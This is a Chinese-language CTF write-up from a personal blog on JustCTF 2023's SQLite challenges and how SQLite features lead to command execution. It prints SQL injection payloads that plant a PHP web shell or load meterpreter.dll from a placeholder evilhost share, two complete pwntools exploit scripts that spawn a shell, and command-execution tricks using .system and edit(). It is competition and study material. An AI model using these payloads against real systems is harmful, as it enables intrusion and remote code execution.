Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

从JustCTF 2023 中学到的一点关于 sqlite3 代码执行的方法

2023-06-05 Updated on 2026-02-11 Writeup

Table of Contents

  1. Known Attacks on SQLite
    1. Attach Database
    2. SELECT load_extension
  2. learned from JustCTF
    1. load libc.so
    2. .system execute command
    3. sqlite3 edit function execute command
  • Reference link
  • TL; DR

    周末简单看了下 JustCTF 2023 的题目, 主要是三个题目吸引了我的注意, 分别是 notabug 、notabug2 和Windytooth。 其中前面两个是和 sqlite3 相关的题目。再次学到了一点利用方式。

    Known Attacks on SQLite

    在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法: [1]

    Attach Database

    1
    2
    3
    ?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn 
    (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']);
    ?>';--

    通过写 ATTACH DATABASE 写文件, 然后执行 php 代码

    SELECT load_extension

    1
    2
    ?name=123 UNION SELECT 
    1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--

    在能上传文件的情况在, 且加载扩展的功能必须打开 [2] 。在 JustCTF 的 notabug 中也用到这个技巧

    title: "exploit for notabug (JustCTF 2023)"
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    from pwn import *
    context.log_level='debug'
    context.arch='amd64'
    #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
    # p=process('./pwn')
    import binascii
    p = remote("0.0.0.0",13337)
    ru = lambda a: p.readuntil(a)
    r = lambda n: p.read(n)
    sla = lambda a,b: p.sendlineafter(a,b)
    sa = lambda a,b: p.sendafter(a,b)
    sl = lambda a: p.sendline(a)
    s = lambda a: p.send(a)
    sla(b"> ",b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);")
    with open("./exp.so",'rb') as f:
    dt = f.read()
    sla(b"> ",b"INSERT INTO images(name,type,img)")

    dt = binascii.hexlify(dt)
    # warning(chr(dt[1]))

    print(dt.decode())
    # input()

    sla(b"> ",f"VALUES('icon','jpeg',cast(x'{dt.decode()}' as text));")
    sla(b"> ",b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';")
    # print(hex(int(p.readline())))
    sla(b"> ",b"select Load_extension('./exp','exp');")
    p.interactive()

    learned from JustCTF

    那么如果我们不能上传文件的时候如何利用 load_extension ,方法来做命令执行呢?

    load libc.so

    我们可以通过 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts'); 来执行任意的 glibc 方法,例如这里的思路是

    通过 puts 、gets 为预测堆地址,并写入我们的结构,然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132

    title:"exploit for notabug2(JustCTF 2023)"
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from pwn import *

    # p = process("./sqlite3")
    #context.log_level='debug'
    #p = remote("0.0.0.0",13339)
    p = remote('notabug2.nc.jctf.pro', 1337)
    ru = lambda a: p.readuntil(a)
    r = lambda n: p.read(n)
    sla = lambda a,b: p.sendlineafter(a,b)
    sa = lambda a,b: p.sendafter(a,b)
    sl = lambda a: p.sendline(a)
    s = lambda a: p.send(a)



    sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');")
    ru(": \n")
    lic = u64(p.recvn(6).ljust(8,b'\x00'))
    warning(hex(lic))
    pie_base = lic - 0x1589a0

    heap = 0x00005555556b0000-0x0000555555554000+pie_base # 1/0x2000

    # system_plt = (pie_base+0x2228C)
    system_plt = pie_base + 0x10910
    if pie_base > 0x600000000000:
    p.close()
    warning(hex(pie_base)) #lic+0x28b8
    sla(b"lite>",b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');")
    p.sendline(p64(heap+0x11eb0)+b'a'*0x8+p64(pie_base+0x000000000009e0ad))
    # raw_input()
    dt = b"/bin/sh\0"+flat([0]*8)+ flat([0]*8)+ p64(system_plt)
    sla(b"lite> ",f"select cast(x'{dt.hex()}' as text), ".encode()+b"Load_extension('"+p64(system_plt)[:6]+b"','/bin/sh');")
    p.sendline(b"echo n132")
    # p.interactive()
    data = p.read(timeout=1)
    if b'n132' in data:
    p.sendline("/jailed/readflag")
    input()
    p.interactive()
    else:
    p.close()

    .system execute command

    在 Command Line Shell For SQLite 界面中, sqlite 是内置了一些方法的 [3] ,其中就包括了 .system

    1
    .system CMD ARGS…	Run CMD ARGS… in a system shell

    这是可以直接执行命令的,但是在 JustCTF 中, 程序做了限制

    1
    2
    3
    4
    # root @ pwnable in /tmp/private [14:10:59]
    $ cat run-sqlite.sh
    #!/bin/bash
    sed -ue '/^\./ { /^\.open/!d; }' | /jailed/sqlite3 -interactive#

    这个正则的解释就是:

    这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义:

    /^./:匹配以.开头的行。
    { /^.open/!d; }:对于匹配到的以.开头的行,如果行不以.open开头,则删除(d)该行。
    因此,这个sed命令的作用是删除以.开头但不以.open开头的行。

    因此通常而言我们是不能直接执行 .system 命令的,但是如果和 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','getchar'); 配合就可以了, 这是 @crazyman 赛后发现的。 大概是正则多行匹配的问题了

    1
    2
    3
    4
    select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar');
    .system /jailed/readflag
    Runtime error: error during initialization:
    justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

    sqlite3 edit function execute command

    在 sqlite 还有一个名叫 Edit() 的函数 [4], 该 Edit() 接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码,该方法其实也是可以执行任意命令的

    1
    2
    sqlite3_create_function(p->db, "edit", 2, SQLITE_UTF8, 0,
    editFunc, 0, 0);

    最后调用到 editFunc 中

    1
    2
    3
    4
    5
    6
    7
    zCmd = sqlite3_mprintf("%s \"%s\"", zEditor, zTempFile);
    if( zCmd==0 ){
    sqlite3_result_error_nomem(context);
    goto edit_func_end;
    }
    rc = system(zCmd);
    sqlite3_free(zCmd);

    这是在 discord 看到另外一个队的PoC:

    1
    2
    3
    4
    5
    6

    sqlite> .open :memory:
    sqlite> CREATE TABLE t(a INT, b VARCHAR(200));
    sqlite> insert into t values (0, '');
    sqlite> update t set b=edit('','/jailed/readflag') where a=0;
    justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

    Reference link

    1 Many-Birds-One-Stone
    2 load_extension
    3 SQLite3命令行窗口常用命令
    4 The edit() SQL function


    1. 1.https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf ↩
    2. 2.https://www.sqlite.org/c3ref/load_extension.html ↩
    3. 3.https://blog.csdn.net/liubingzhao/article/details/50885880 ↩
    4. 4.https://www.sqlite.org/cli.html ↩
    分类: Writeup
    标签: justctf sqlite
    ← Prev CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow
    Next → Real World CTF 5th writeup

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom